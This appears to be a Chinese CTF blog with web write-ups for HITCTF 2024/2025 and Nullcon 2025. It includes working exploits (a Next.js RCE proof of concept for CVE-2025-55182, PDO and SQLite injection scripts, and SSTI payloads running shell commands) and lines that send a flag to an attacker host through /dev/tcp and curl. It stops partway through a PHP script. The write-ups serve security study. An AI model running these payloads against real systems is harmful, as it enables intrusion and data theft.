Ssti on Freedom

Hitctf 2024&2025 web wp

Tue, 09 Dec 2025 19:46:01 +0800

2024

mathex

cve-2023-51887

mathex<=1.05时表达式以\which{;}格式传入可以绕过过滤实现命令执行

if (getdirective(expression, "\\which", 1, 0, 1, argstring) != NULL) {
    int ispermitted = 1;
    int nlocate = 1;
    char *path = NULL;
    char whichmsg[512];
    trimwhite(argstring);
    if (isempty(argstring))
      ispermitted = 0;                            /* arg is an empty string */
    else {                                        /* have non-empty argstring */
      int arglen = strlen(argstring);             /* #chars in argstring */
      if (strcspn(argstring, WHITESPACE) < arglen /* embedded whitespace */
          || strcspn(argstring, "{}[]()<>") < arglen  /* illegal char */
          || strcspn(argstring, "|/\"\'\\") < arglen  /* illegal char */
          || strcspn(argstring, "`!@%&*+=^") < arglen /* illegal char */
      )
        ispermitted = 0;
    }
    if (ispermitted) {
      path = whichpath(argstring, &nlocate);    // <- popen("which {argstring}")
      sprintf(whichmsg,
              "%s(%s) = %s", (path == NULL || nlocate < 1 ? "which" : "locate"),
              argstring, (path != NULL ? path : "not found"));
    } 
    // ...
}

没有源代码就简单搭了一个环境(~~也是老古董了还在用cgi~~)

`1`	`/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;ls}`

wget

又是一个cve:cve-2024-10524

先看看源码

from flask import Flask, request, render_template, jsonify 
import subprocess 
import os 
import base64 
app = Flask(__name__) 
FLAG = os.getenv("FLAG", "flag{}") 
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode() 
print(f"FLAG: {flag_base64}")
@app.route("/") 
def index(): 
    with open(__file__, "r") as file: 
        source_code = file.read() 
        return source_code 
         
@app.route("/execute", methods=["POST"]) 
def execute(): 
    auth = request.form.get("auth") 
    if not auth: 
		    return jsonify({"error": "auth is required"}), 401 
    if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth): 
        return jsonify({"error": "Hacker!"}), 400 
    try: 
        command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"] 
        subprocess.run(command, check=True) 
        return jsonify({"message": "Command executed successfully"}) 
    except Exception as e: 
        return jsonify({"error": "Command failed"}), 500 

if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)

找到一篇文章CVE-2024-10524 Wget Zero Day Vulnerability

主要是利用wget的解析差，如果尝试wget aaa:bbb@ccc，wget会自动将其解释为ftp://aaa/bbb@ccc（其中bbb@ccc会被识别为一个目录名），那么我们就可以利用ftp的匿名登录来进行外带。

我这里没有用常见的ftp，而是使用了python的一个库来模拟ftp。

`1`	`pip install pyftpdlib`

因为bbb@ccc会被识别为目录，所以我们要提前创建一个aaaaaa@127.0.0.1:5000目录，在服务器上我们还需要开启对应的端口（我这里用的默认21）和ftp被动模式的端口。

做完这些我们就可以启动ftp服务了

`1`	`python -m pyftpdlib -p 21 -D`

发送payload

1
2

POST /execute
auth=[数字ip]:aaaaaa //这里过滤了点，我们使用数字ip

静静等待连接即可

参考文章：

HITCTF2024 Writeup - Turker’s

HITCTF2024 wget wp-先知社区

2025

logServer

先看源码

from flask import Flask, request, jsonify, render_template_string
import sqlite3
import random


def gen_secret():
    secret_int = random.getrandbits(96)
    secret_bits = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, byteorder='big')
    return secret_bits.hex()


app = Flask(__name__)
conn = sqlite3.connect("database.db", isolation_level=None, check_same_thread=False)
conn.execute("""
    CREATE TABLE IF NOT EXISTS logs (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        message TEXT NOT NULL
    )
""")
conn.execute("""
    CREATE TABLE IF NOT EXISTS secret (
        secret TEXT NOT NULL
    )
""")
conn.execute(f"INSERT INTO secret VALUES ('{gen_secret()}')")


@app.route("/")
def health_check():
    return jsonify({"status": "ok"}), 200


@app.route("/log", methods=["POST"])
def log_message():
    data = request.get_json()
    message = data.get("message")
    if not message:
        return jsonify({"success": False, "error": "Message is required"}), 400

    try:
        conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
        return jsonify({"success": True}), 200
    except Exception as e:
        return jsonify({"success": False, "error": str(e)}), 500


@app.route("/backdoor", methods=["POST"])
def backdoor():
    data = request.get_json()
    secret = data.get("secret")
    code = data.get("code")

    if not secret or not code:
        return jsonify(
            {"success": False, "error": "Secret and code are required"}
        ), 400

    stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
    if secret != stored_secret:
        return jsonify({"success": False, "error": "Invalid secret"}), 403

    res = render_template_string(code)
    return jsonify({"success": True, "result": res}), 200


@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

0x01 sqlite注入

/log存在明显的sql注入

`1`	`conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")`

不过它使用的是INSERT ，没法直接用联合查询，拷打的gemini告诉我可以使用报错注入来泄露secret

`1`	`' \|\| json_extract('{"a":1}', (SELECT secret FROM secret)) \|\| '`

`1`	`' \|\| fts3_tokenizer((SELECT secret FROM secret)) \|\| ' -- 也可以`

0x02 伪随机预测

/backdoor很明显的无过滤ssti，前提是secret验证通过。本题最大的难点来了

@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response

每次请求都会更新secret，刚开始想打条件竞争来着，但未成功，于是想到了伪随机，收集足够的随机数样本来预测secret。

`1`	`pip install randcrack`

综上本题的总体思路为：利用sqlIte注入泄露secret=>重复收集泄露的secret=>预测secret=>ssti

你可以使用python的库来预测，我这里没用

exp如下：

import requests
import re
from z3 import *

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

def untemper(y_val):
    y = BitVec('y', 32)
    y1 = y ^ LShR(y, 11)
    y2 = y1 ^ ((y1 << 7) & 0x9d2c5680)
    y3 = y2 ^ ((y2 << 15) & 0xefc60000)
    y4 = y3 ^ LShR(y3, 18)
    s = Solver()
    s.add(y4 == y_val)
    if s.check() == sat:
        return s.model()[y].as_long()
    return 0

def temper(y):
    y ^= (y >> 11)
    y ^= ((y << 7) & 0x9d2c5680)
    y ^= ((y << 15) & 0xefc60000)
    y ^= (y >> 18)
    return y

def twist(state):
    for i in range(N):
        y = (state[i] & UPPER_MASK) | (state[(i + 1) % N] & LOWER_MASK)
        state[i] = state[(i + M) % N] ^ (y >> 1) ^ ((y & 1) * MATRIX_A)
    return state

URL = "http://xxx/log"
BACKDOOR_URL = "http://xxx/backdoor"

def get_secret():
    payload = "' || json_extract('{\"a\":1}', (SELECT secret FROM secret)) || '"
    try:
        r = requests.post(URL, json={"message": payload})
        if "JSON path error near" in r.text:
            match = re.search(r"JSON path error near '([0-9a-f]+)'", r.text)
            if match:
                return match.group(1)
    except:
        return None
    return None

def main():
    secrets = []
    for i in range(210):
        s_hex = get_secret()
        if not s_hex:
            return
        s_int = int(s_hex, 16)
        a = s_int & 0xFFFFFFFF
        b = (s_int >> 32) & 0xFFFFFFFF
        c = (s_int >> 64) & 0xFFFFFFFF
        secrets.append(a)
        secrets.append(b)
        secrets.append(c)
    
    state = [untemper(y) for y in secrets[:624]]
    next_state = twist(state)
    
    payloads = [
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la /').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
    ]
    
    current_idx = 6
    for code in payloads:
        next_words = []
        for k in range(3):
            y = next_state[current_idx + k]
            y = temper(y)
            next_words.append(y)
        a, b, c = next_words
        next_secret_int = a | (b << 32) | (c << 64)
        next_secret_hex = next_secret_int.to_bytes(12, 'big').hex()
        
        r = requests.post(BACKDOOR_URL, json={"secret": next_secret_hex, "code": code})
        print(f"Secret: {next_secret_hex}")
        print(f"Status: {r.status_code}")
        print(f"Response: {r.text}")
        
        current_idx += 3
        if current_idx + 3 >= N:
            next_state = twist(next_state)
            current_idx = 0

if __name__ == "__main__":
    main()

Freestyle

本来是个xss题目，结果被无条件rce的cve非预期了

0x01 源码分析

跟上题差不多的逻辑，token通过验证后就会给flag

// /app/api/flag/route.ts
import { type NextRequest, NextResponse } from "next/server";
import { validateToken } from "@/lib/token-store";

export async function GET(request: NextRequest) {
  const searchParams = request.nextUrl.searchParams;
  const token = searchParams.get("token");

  if (!token) {
    return NextResponse.json({ error: "Missing token" }, { status: 400 });
  }

  if (validateToken(token)) {
    return NextResponse.json({
      flag: "flag{redacted_flag}",
    });
  } else {
    return NextResponse.json({ error: "Invalid token" }, { status: 403 });
  }
}

而token的生成来自以下文件

// /lib/token-store.ts
declare global {
  var CTF_CHALLENGE_TOKEN: string | undefined;
  var CTF_CHALLENGE_LOCKED: boolean | undefined;
}

export function generateToken(): string {
  const token = Math.floor(Math.random() * 100).toString().padStart(2, '0');
  globalThis.CTF_CHALLENGE_TOKEN = token;
  globalThis.CTF_CHALLENGE_LOCKED = false;
  console.log(`[CTF] New token generated: ${token}`);
  return token;
}

export function getToken(): string {
  if (!globalThis.CTF_CHALLENGE_TOKEN) {
    return generateToken();
  }
  return globalThis.CTF_CHALLENGE_TOKEN;
}

export function validateToken(inputToken: string): boolean {
  if (globalThis.CTF_CHALLENGE_LOCKED) {
    return false;
  }

  const currentToken = getToken();
  if (inputToken === currentToken) {
    return true;
  }
  // Lock on failure
  globalThis.CTF_CHALLENGE_LOCKED = true;
  console.log(`[CTF] Challenge LOCKED due to invalid token attempt.`);
  return false;
}

每次开启靶机生成一个两位数的token，并且输入一次错误就会永久锁定。

对于CardGenerator.tsx，重点关注一下几行

<div
    data-token={serverToken}
    className="w-full max-w-md aspect-[1.586/1] rounded-xl shadow-2xl overflow-hidden relative transition-all duration-300"
    style={previewStyle}
>

const previewStyle = {
	background: bgImage,
}
    
const [bgImage, setBgImage] = useState(
    searchParams.get("bg-image") ||
      "linear-gradient(var(--gradient-angle),var(--gradient-from),var(--gradient-to))",
);

bg-image参数是可控的，但只能进行css注入来泄露data-token。

0x02 非预期

最近react爆出来一个无条件rce的cve。

而这题的版本正好符合该cve的条件。

我这里使用内存马版本的exp

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "ip"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "ls"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182

rce就可以干任何事情了，flag就在代码里不过需要找到编译后的文件。

`1`	`grep -RIl "flag{" /app/`

还有一种优雅的方式，直接修改data-token，因为data-token是存在全局变量里面的，我们可以利用原型链访问到全局变量。

POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----React2ShellBoundaryCTF

------React2ShellBoundaryCTF
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"globalThis.CTF_CHALLENGE_TOKEN='42';globalThis.CTF_CHALLENGE_LOCKED=false;","_formData":{"get":"$1:constructor:constructor"}}}
------React2ShellBoundaryCTF
Content-Disposition: form-data; name="1"

"$@0"
------React2ShellBoundaryCTF--

参考：https://lunaticquasimodo.top/blog/hitctf-2025-web-freestyle-writeup

0x03 预期

https://portswigger.net/research/inline-style-exfiltration

poc：

<div style='
  --val: attr(data-username);
  --steal: if(style(--val:"alice"): url(http://127.0.0.1:8888));
  background: image-set(var(--steal));
' data-username="alice">Test</div>

payload:

1
2
3

bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(http://ip/leak/07);else:url(http://ip/leak/no))

exp:

import urllib.parse
import urllib.request

base = "http://ip/leak/"
target = "http://ip"
expr = f'url({base}no)'
for i in reversed(range(100)):
  t = f"{i:02d}"
  expr = f'if(style(--val:"{t}"):url({base}{t});else:{expr})'

payload = "/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal=" + urllib.parse.quote(expr, safe="")
# print(payload)

url = target.rstrip("/") + payload
urllib.request.urlopen(url, timeout=5)

Impossible SQL

这题差点给我绕晕了

0x01 源码分析

先看源码

//index.php
<?php
error_reporting(0);
require_once 'init.php';

function safe_str($str) {
    if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
        return false; 
    }
    return true;
}

if (!isset($_GET['info']) || !isset($_GET['key'])) {
    HIGHLIGHT_FILE(__FILE__);
    die('');
}

$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);

if (!safe_str($info) || !safe_str($key)) {
    die('Invalid input');
}

$sql = "SELECT `$info` FROM users WHERE username = ?";

$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());
?>

//init.php
//远程还有关键字waf我本地没有加上
<?php

// 数据库配置
$host = '127.0.0.1';
$dbname = 'test';
$user = 'root';
$pass = 'root';

// 创建 PDO 连接
$dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";

$pdo = new PDO($dsn, $user, $pass);

?>

base64_decode说明传入的参数是 Base64 编码过的

info：数据库字段名
key：用户名

str_replace(’`’, ‘``’, …)

将反引号 ```转成，转义无影响
防止利用反引号逃逸字段名（SQL 注入的一种）

safe_str过滤

空格、Tab、换行：[ \t\r\n]
SQL 注释：
- /*
- #
- -- （后面跟空格或换行）(不是匹配–而是匹配– 类似的形式）

过滤+预处理看起来无懈可击了

0x02 关键字WAF绕过

远程存在WAF（本地没加），拦截SELECT、UNION等关键字。利用php对base64的容错来绕过：在Base64字符串中插入空格，PHP的base64_decode()会自动忽略。

1
2

def split_b64(s):
    return " ".join(s)  # "dXNlcm5hbWU=" → "d X N l c m 5 h b W U ="

0x03 PDO绕过

参考这篇文章Novel SQL Injection Technique in PDO Prepared Statements

利用 PDO 的内部解析逻辑来实现注入，如果你向 info 参数传入一些特殊的字节（比如 ? + null 字节），PDO 的解析器错误 把这个 ? 当作一个新的 bind 参数，此时原本只有一个绑定参数，但 PDO 却认为存在多个，最终可以让你注入 SQL 代码片段。

int pdo_mysql_scanner(pdo_scanner_t *s)
{
	const char *cursor = s->cur;

	s->tok = cursor;
	/*!re2c
	BINDCHR		= [:][a-zA-Z0-9_]+;
	QUESTION	= [?];
	COMMENTS	= ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
	SPECIALS	= [:?"'`/#-];
	MULTICHAR	= ([:]{2,}|[?]{2,});
	ANYNOEOF	= [\001-\377];
	*/

	/*!re2c
		(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
		(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
		([`]([`][`]|ANYNOEOF\[`])*[`])			{ RET(PDO_PARSER_TEXT); }
		MULTICHAR								{ RET(PDO_PARSER_TEXT); }
		BINDCHR									{ RET(PDO_PARSER_BIND); }
		QUESTION								{ RET(PDO_PARSER_BIND_POS); }
		SPECIALS								{ SKIP_ONE(PDO_PARSER_TEXT); }
		COMMENTS								{ RET(PDO_PARSER_TEXT); }
		(ANYNOEOF\SPECIALS)+ 					{ RET(PDO_PARSER_TEXT); }
	*/
}

反引号里可以被接受的内容包括了 \001-\377 ，但是偏偏少了一个 \0 。也就是说如果我们传入 ?\0 会导致PDO 试图把 ?\0 当作一个完整的反引号标识符，读到 \0 时 fallback 到 SPECIALS 分支，反引号被当做一个普通符号跳过了，这导致紧接着的 ? 暴露出来，被 PDO 当做一个占位符。

另外waf禁止了[ \t\r\n] ，在MySQL会将 \x0b 识别为空白符， \x0b（垂直制表符VT）可以绕过过滤

53 45 4C 45 43 54   -> SELECT
0B                  -> \x0b
31 2B 31            -> 1+1
3B                  -> ;

waf还禁止了文章中使用的#号

`1`	`info = \?#\x00`

#不能使用，使用--\x0b替代，过滤只过滤--[ \t\r\n]的形式，而没有过滤–本身没被过滤，--\x0b绕过过滤的同时最后会被解析成--[空格]，达到注释的目的。

0x04 构造payload

payload结构：

info = b'\\?--\x0b\x00' #多加一个\是为了制造合法列名进行逃逸
key = b"x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b"

# b"x`FROM\x0b("
# b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
# b"FROM\x0binformation_schema.tables\x0b"
# b"WHERE\x0btable_schema=database()"
# b")y;--\x0b"

执行流程分析：

1.PDO prepare:

`1`	SELECT `\?--\x0b\x00` FROM users WHERE username = ?

2.PDO替换:

?的位置被替换为key的值

`1`	SELECT `x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b'--\x0b\x00` FROM users WHERE username = ?

3.PDO预编译:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;-- '-- ` FROM users WHERE username = ?

key整体被自动加上单引号和反斜杠转义

4.忽略注释后面:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;

MySQL 的 反引号（`） 用来包 标识符（列名、别名、表名），在反引号中：

' 单引号是普通字符
\ 也是普通字符（不是转义）

`1`	`\'x`是一个合法的列名 / 别名

外层查询：从子查询结果中取名为 \'x 的那一列

`1`	SELECT `\'x` FROM ( ... ) y;

子查询：从当前数据库取所有表名，把 table_name 起别名为 \'x

`1`	SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema = database()

其他payload同理。

0x05 exp

import base64
import requests

url = "http://ip"

def split_b64(s):
    """Split base64 to bypass WAF"""
    return " ".join(s)

def exploit(key_payload):
    
    info = b'\\?--\x0b\x00' 
    
    info_b64 = (base64.b64encode(info).decode())
    key_b64 = (base64.b64encode(key_payload).decode())
    
    r = requests.get(url, params={'info': info_b64, 'key': key_b64}, timeout=10)
    print(r.text)
    
    if r.text.strip():
        print(r.text)
    
    return r

vt = b'\x0b'  

exploit(b'1`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(table_name)' + vt + 
        b'AS' + vt + b"`'1`" + vt + b'FROM' + vt + b'information_schema.tables' + vt + 
        b'WHERE' + vt + b'table_schema=database())y;--' + vt)

#使用hex就不用加引号了（引号被过滤）
table_hex = b'0x666c6167'
exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt + 
        b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt + 
        b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt)


exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'flag' + vt + b'AS' + vt + 
        b"`'x`" + vt + b'FROM' + vt + b'flag' + vt + 
        b'LIMIT' + vt + b'1)y;--' + vt)

ezLoader

java学会了再来复现

参考链接：

https://gyrojibering.github.io/ctf/2025/12/07/hitctf-2025-writeup/

https://www.turker.cn/archives/hitctf-2025-writeup

Novel SQL Injection Technique in PDO Prepared Statements

https://lunaticquasimodo.top/blog

Nullcon HackIM CTF Goa 2025 web 部分wp

Thu, 06 Feb 2025 17:03:00 +0800

Temptation

访问 /?source = 随便一个参数即可得到源码

import web
from web import form
 
web.config.debug = False
 
urls = (
    '/', 'index'
)
 
app = web.application(urls, locals())
render = web.template.render('templates/')
FLAG = open("/tmp/flag.txt").read()
 
temptation_Form = form.Form(
    form.Password("temptation", description="What is your temptation?"),
    form.Button("submit", type="submit", description="Submit")
)
 
class index:
    def GET(self):
        try:
            i = web.input()
            if i.source:
                return open(__file__).read()
        except Exception as e:
            pass
 
        f = temptation_Form()
        return render.index(f)
 
    def POST(self):
        f = temptation_Form()
        if not f.validates():
            return render.index(f)
 
        i = web.input()
        temptation = i.temptation
 
        if 'flag' in temptation.lower():
            return "Too tempted!"
 
        try:
            temptation = web.template.Template(f"Your temptation is: {temptation}")()
        except Exception as e:
            return "Too tempted!"
 
        if str(temptation) == "FLAG":
            return FLAG
        else:
            return "Too tempted!"
 
application = app.wsgifunc()
 
if __name__ == "__main__":
    app.run()

是 web.py 框架的之前没有见过，但是通过 web.template.Template 不难看出是 ssti，问题是无回显，所以可以反弹 shell 或者 curl 外带

1
2

${__import__('os').system('bash -c "cat /tmp/fla* > /dev/tcp/{ip}/{port}"')}
${__import__('os').popen('cat /tmp/fla* | base64 | curl -X POST -d @- https://vps:port').read()}

还有另一种做法，可以利用 web 框架本身的语法，模板中的 $code 块用于在模板中执行 Python 代码，进而构造出 FLAG 通过条件判断

1
2

$code:
    return chr(70)+chr(76)+chr(65)+chr(71) # self.update({"__body__": "FL"+"AG"})也可以

但是不能直接复制到框中，需要用 python 发包

import requests
 
body = """
$code:
    return chr(70)+chr(76)+chr(65)+chr(71)
"""
 
res = requests.post("http://52.59.124.14:5011/", data={"temptation": body, "submit": ""})
print(res.text)

Sess.io

严格意义上这题有点算密码学了，先看一下源代码

<?php
// 定义一个字母和数字的字符集，用于生成随机字符串
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-"));
 
// 关闭 PHP 错误报告
ini_set("error_reporting", 0);
 
// 如果 URL 中包含 "source" 参数，显示当前 PHP 文件源代码
if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}
 
// 引入包含 $FLAG 的文件，假设 $FLAG 是某个秘密标志（flag）
include "flag.php"; // $FLAG
 
// 将 FLAG 按每 4 个字符分割成数组
$SEEDS = str_split($FLAG, 4);
 
// 定义一个函数，用于生成一个基于用户名和密码的会话 ID
function session_id_secure($id) {
    global $SEEDS;
    
    // 使用 MD5 哈希对用户名和密码进行处理，生成一个索引
    // 通过该索引从 SEEDS 数组中选取一个部分并转换为十六进制数
    // 使用 Mersenne Twister 随机数生成器（mt_srand）生成一个伪随机种子
    mt_srand(intval(bin2hex($SEEDS[md5($id)[0] % (count($SEEDS))]),16));
 
    // 初始化一个空的会话 ID 字符串
    $id = "";
 
    // 循环 1000 次，生成一个包含随机字符的会话 ID
    for($i = 0; $i < 1000; $i++) {
        // 从 ALPHA 中随机选择一个字符并拼接到会话 ID 中
        $id .= ALPHA[mt_rand(0, count(ALPHA) - 1)];
    }
 
    // 返回生成的会话 ID
    return $id;
}
 
// 如果表单中提交了用户名和密码
if(isset($_POST['username']) && isset($_POST['password'])) {
    // 根据用户名和密码生成会话 ID
    session_id(session_id_secure($_POST['username'] . $_POST['password']));
    
    // 启动会话
    session_start();
    
    // 输出感谢信息
    echo "Thank you for signing up!";
} else {
    // 如果用户名和密码未提交，提示用户输入必要的信息
    echo "Please provide the necessary data!";
}
?>

我们知道 mt_srand(intval(bin2hex($SEEDS[md5($id)[0] % (count($SEEDS))]), 16)) 中的 md5($id)[0] 用于从 $SEEDS 数组中选取索引，数组中的每一块包含四个字符。通过拼接账号和密码，得到其 MD5 哈希值的首位作为 $SEEDS 数组的索引，进而选定种子用于 mt_srand。由于 mt_srand 的种子是可以通过结果来预测的：

https://github.com/openwall/php_mt_seed

所以我们的思路是：构造一个包含所有可能 MD5 首位的账号和密码组合列表 => 发送请求并确认块的数量 => 选取每个块的会话 ID（PHPSESSID）的前 30 位 => 利用 ALPHA 表来确定每一位的对应索引 => 最后通过工具还原每个块的种子并拼接最终的 flag。

看一下 poc：（需要在 php_mt_seed 目录下运行）

import requests
import subprocess
import re
 
# 以下是一些随机生成的 MD5 值及其对应的密码。每个密码都是由数字、字母和特殊字符组成的。
# MD5 值的首位字符涵盖了从 '0' 到 'f' 的范围，确保了每个哈希的首位字符在十六进制范围内。
# 用于测试或验证密码和哈希值的映射。
passwords=[
("0f7e44a922df352c05c5f73cb40ba115","1234567891"),
("1abdec9e557dd71f742a5cfd35fb85f5","25849"),
("267ffd6c931f0115b331c412a43d45dd","23wesdxc@#"),
("3c0a498c552c843646b8fd12fe00b2db","44112886d1d1476"),
("47ee17f970ac4cb5dd5c38508f43b3c7","1q9hitn358"),
("57b7fa6522a60d4864bdaeb9291e3915","258741"),
("663fd3c5144fd10bd5ca6611a9a5b92d","3077"),
("7af9ef04b0871d247cebd4a4ab4aa8a5","3WRs3jO576"),
("8af6d54b19ab50824a31ed26e972b7be","200701203"),
("9a75d47ca2c81e4301c642c30df54263","2kewl4u"),
("af937209a0b274e6048a23909cf0a78b","1a1a3c7g"),
("b1758e9b7f39391aa4c39b456da20c16","1neosmartstatestado"),
("c843481f52d8eeb5c03a8cbbf48355d7","118294"),
("dd5ac53efc3789d835bdb58ee684e7bc","1ct5WiN113"),
("e6edfc340d0003d6538f2e4cac7af97c","13a82aK395"),
("f5bb0c8de146c67b44babbf4e6584cc0","123123123")
]
 
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}
 
aboba = []
 
print(f"{'Hash Start':^15}{'Hash':^35}{'Login':^15}{'Password':^20}")
 
for hsh, pw in passwords:
    try:
        login, password = pw[:2], pw[2:]
        print(f"{hsh[0]:^15}{hsh:^35}{login:^15}{password:^20}")
        data = {
            'username': login,
            'password': password,
        }
        response = requests.post('http://52.59.124.14:5008/', headers=headers, data=data)
        aboba.append((hsh[0], hsh, login, password, response.cookies['PHPSESSID']))
    except:
        pass
 
# 字符集和解码函数
alph = "abcdefghijklmnopqrstuvwxyz0123456789_-"
 
def ck_decode(ck):
    decoded = [alph.find(i) for i in ck]
    # 去除掉第一个数字，即 idx 部分
    return ' '.join(map(lambda x: f'{x} {x} {0} {37} ', decoded[:30]))  # 从第一个数字开始输出
 
# 用于存储提取的 seed 值的列表
seeds = []
 
for idx, hsh, lg, pw, ck in aboba:
    decoded_ck = ck_decode(ck)
    command = ["./php_mt_seed"] + decoded_ck.split()  # 创建命令
    print("[+] Executing command:", " ".join(command))  # 打印将要执行的命令
    
    # 捕获命令的输出
    result = subprocess.run(command, capture_output=True, text=True)
    
    # 正则表达式匹配十进制数字（忽略十六进制部分）
    match = re.search(r"seed = 0x[0-9a-fA-F]+ = (\d+)", result.stdout)
    if match:
        seed_value = match.group(1)  # 获取十进制的 seed 数字
        print(f"[+] Found seed value: {seed_value}")
        seeds.append(seed_value)  # 将提取到的 seed 值加入列表
 
# 用于存储解码后的原始值
original_values = []
 
for seed in seeds:
    # 将十进制数字转换为十六进制字符串
    hex_value = hex(int(seed))[2:]
    
    # 如果十六进制字符串长度是奇数，补充一个前导零
    if len(hex_value) % 2 != 0:
        hex_value = "0" + hex_value
    
    # 将十六进制字符串转换为字节数据
    binary_data = bytes.fromhex(hex_value)
    
    # 解码字节数据恢复原始值
    original_value = binary_data.decode('utf-8', errors='ignore')  # 加上 errors='ignore' 防止无法解码的字节报错
    original_values.append(original_value)
 
# 拼接所有的原始值为一个字符串
result_string = "".join(original_values)
 
print("[+] Flag:", result_string)

感觉开了线程和不开速度没啥区别（都得 10 分钟），拿来一手国外师傅的脚本明显快了很多（具体没有研究，好像是直接把 php_mt_seed 的内容加到里面去了）

<?php
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-")); // 定义 ALPHA 字符集，包含所有有效字符
 
// 测试输入的用户名和对应的哈希前缀映射
$test_inputs = [
    'test16' => '0',
    'test37' => '1',
    'test36' => '2',
    'test13' => '3',
    'test6' => '4',
    'test1' => '5',
    'test12' => '6',
    'test9' => '7',
    'test3' => '8',
    'test29' => '9',
    'test2' => 'a',
    'test7' => 'b',
    'test10' => 'c',
    'test18' => 'd',
    'test5' => 'e',
    'test0' => 'f'
];
 
// 通过用户名获取 PHPSESSID（会话ID）
function get_session_id($username) {
    $url = 'http://52.59.124.14:5008';  // 目标 URL
    $data = http_build_query([  // POST 请求数据，用户名和密码为空
        'username' => $username,
        'password' => ''  // 空密码
    ]);
 
    $opts = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',  // 设置请求头
            'content' => $data  // 设置请求体
        ]
    ];
 
    // 创建 HTTP 请求上下文并发送请求
    $context = stream_context_create($opts);
    $response = @file_get_contents($url, false, $context);  // 获取响应
 
    if ($response === false) {
        return null;  // 请求失败，返回 null
    }
 
    // 解析响应头，提取 PHPSESSID
    $headers = $http_response_header ?? [];
    foreach ($headers as $header) {
        if (preg_match('/PHPSESSID=([^;]+)/', $header, $matches)) {
            return $matches[1];  // 返回 PHPSESSID
        }
    }
 
    return null;  // 如果没有找到 PHPSESSID，返回 null
}
 
// 根据给定的种子和会话ID，验证该种子是否能生成与会话ID匹配的字符串
function check_seed($seed, $session_id) {
    mt_srand($seed);  // 设置种子
 
    // 检查会话 ID 的前 10 个字符
    for ($i = 0; $i < 10; $i++) {
        $generated = ALPHA[mt_rand(0, count(ALPHA)-1)];  // 生成随机字符
        if ($generated !== $session_id[$i]) {  // 如果字符不匹配
